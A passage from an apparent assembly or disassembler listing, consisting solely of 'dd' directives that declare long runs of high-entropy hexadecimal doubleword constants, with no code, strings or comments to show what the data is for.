0B87021F2h dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h, 47633444h dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah, 5982464Bh dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h, 0DEF5CCDAh dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh, 25683160h dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h, 6C920B4Ch dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh dd 3ABC6E7h, 9A2EEB40h, 4CE9AB43h, 75B246C8h, 0F256D040h dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h, 0AE39B8B1h dd 398AD5h, 0A8450ED6h, 0FCB6E727h, 13D7443Fh, 6FE9C44Eh dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h, 846B659Ah dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h, 0B59CB50Eh dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h, 7B2684DDh dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h, 950ED504h dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h, 16103009h dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h, 0FDAAB97Ch dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh, 0B01D3873h dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h, 264321E5h dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h dd 2F2DA187h, 368222Bh, 43382D64h, 334D22F4h, 9E5553DFh dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h, 0CCF97475h dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h dd 0ADD04A47h, 4808BFh, 0C662DFE6h, 73A5BDFEh, 124547F3h dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh, 0DF562963h dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah, 0C36A9EF0h dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h, 0FDD29983h dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh, 4950DF70h dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh, 4E7CFEC6h dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h, 12D0AAE4h dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah, 0C40BA461h dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h dd 855680DEh, 1B76423h, 0BD852D5Ch, 0F15777F4h, 9F260EDCh dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh, 3D246E60h dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah, 0E2E0309Ch dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh, 3E370E68h dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h, 0F3DBA6Bh dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h dd 8291858h, 2AEDAA06h, 2949E561h, 245D095Ah, 0A554D48Dh dd 282909B8h, 0C1988587h dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h, 69D9AA62h dd 32B76A6h, 32D38E49h, 9E0DFF71h, 62A43AD3h, 17F4098Eh dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh, 3EE8277Dh dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h, 0F1B5F965h dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h, 4F565205h dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h, 88C4ECDAh dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h, 5273468Fh dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh, 0FDA20F88h dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h, 2CCE9776h dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h, 9C294C51h dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh, 219B7835h dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h, 0ED8D70BEh dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h, 0B14E25E8h dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h, 0E1C60AD3h dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h, 5CE12E8Fh dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh, 53E858C4h dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh, 0EA32C238h dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h, 0E33F0429h dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh, 554534FFh dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h, 426F74B1h dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh, 4A8F55EDh dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h, 6BC88A2Bh dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h, 0AA42F5B1h dd 862CCB08h, 83EC73Bh, 0C83118D4h, 0D8FF2841h, 0AB099381h dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh, 3C32C15Eh dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h, 2FE98CA8h dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h, 0F6D81F8Bh dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh, 0CBCA6A83h dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h, 6D2CB4BCh dd 6CF2AF0h, 3E32541Ch, 9CC77AE7h, 77283958h, 0F28EBAE3h dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h dd 49B2BB8h, 1E582B81h, 36D9DE3Bh, 94B078EDh, 0AE8B4C09h dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h, 1EF6BC89h dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h, 0F7E0AA94h dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh, 210EB568h dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh dd 0A58E5F17h, 93B58B67h dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h, 3C0F969Eh dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h, 988D52CBh dd 4259A72Ch, 64A75C9h, 0D0142981h, 1DC2C148h, 0A0532745h dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h, 1FA316CCh dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh, 13DE9A23h dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh, 0EB442818h dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h, 26E8D9F3h dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h, 3509B03Fh dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch, 8551E844h dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h, 2DE5161Bh dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh, 25A24317h dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh, 73F45DBBh dd 9A1776F0h, 7F88F8Eh, 19642D6Fh, 0A9019293h, 0E279860Ch dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h, 629093A2h dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh, 8968137h dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h dd 1FB5384h, 74BAB5B9h, 288B0FFEh, 9542F13Fh, 0FDC3B4BFh dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh, 0C9DC882Fh dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h, 0C12A5Dh dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah, 14285566h dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh, 0E537C0FDh dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h, 954BAE80h dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h, 0C26E06ECh dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h, 147D9492h dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h, 2EBCB400h dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh, 0B05E1497h dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh, 21DA3329h dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h, 2A4F64F9h dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h, 31F42CE8h dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h, 0CB21136h dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h, 2A6D7F9Bh dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h, 86ED7D70h dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h, 9365BE05h dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh, 6938FCA7h dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh, 40F93C55h dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh, 5708E112h dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h, 318297ACh dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h, 90C1DA5Bh dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh, 4194D57Dh dd 96D5475Eh, 8CB5EE07h dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah, 21CF0E2h dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h, 0CF2F460Bh dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch, 0A07605A8h dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h, 0D7EB8273h dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh, 0C958EA35h dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch, 1DC276BEh dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h, 0A470FBCAh dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h, 0BBD25C61h dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h, 0F96A8060h dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h, 61916453h dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h, 68FD28FDh dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h, 176E79ECh dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h dd 0E9590E38h, 